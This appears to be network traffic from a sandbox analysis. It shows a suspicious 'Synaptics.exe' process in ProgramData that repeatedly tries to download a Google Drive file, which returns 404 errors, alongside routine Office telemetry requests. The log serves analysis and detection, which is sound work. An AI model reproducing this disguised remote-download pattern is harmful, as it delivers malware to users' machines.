2024-11-05 21:44:18 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 69 58 43 75 63 54 7a 4d 4a 6e 32 41 31 50 67 4e 30 53 63 6d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="viXCucTzMJn2A1PgN0ScmA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:18 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49789	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:17 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
2024-11-05 21:44:18 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-Szj_NaGtcdh3BxD41o1mOQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:18 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:18 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214418Z-16547b76f7f7lhvnhC1DFWa2k000000005m000000000k8dk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:18 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:18 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 11e55392-b01e-003d-7e55-2ed32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214418Z-17df447cdb54qlp6hC1DFWqcfc00000001sg00000000qw9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:18 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:18 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:18 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:18 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1a2e7d6b-a01e-000d-7bfc-2cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214418Z-16547b76f7f775p5hC1DFWzdvn00000005m000000000x9ha x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:18 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:18 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214418Z-16547b76f7fmbrhqhC1DFWkds800000005qg00000000p131 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:18 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:18 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:18 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e9380aa8-701e-005c-5160-2ebb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214418Z-15869dbbcc6xpvqthC1DFW7ehg00000002c000000000hstb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:18 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49803	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:18 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
2024-11-05 21:44:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:19 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-JNMzUKodh2vp4bp-tAryIw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49804	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:18 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
2024-11-05 21:44:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:19 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-9pls-qVeA_l6GVIpF70UZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49805	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:18 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:19 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:19 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-nPr09EVER5eVxqfoVILKwA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY0g6XH8xBquvWKCP7n8k9lh6Fgsl6D0Bp0z41btq7Sz8jCX5he8Fr9ujR8V-5osbwnFPOnwd4xbLA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:19 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:19 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 71 47 79 77 31 42 61 7a 31 74 4b 35 58 4c 41 44 4b 6b 32 76 73 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="qGyw1Baz1tK5XLADKk2vsQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:19 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49806	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:19 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:19 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:19 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-3DhSCKpLtfoJMoNLO7QiEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY2JQz-uF6O37cLKpdW1z7LezP_No7j7uX3z-4HGQLVpYrAGFXySg77SD_NOanMTa6PrxF3Os7SSGA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
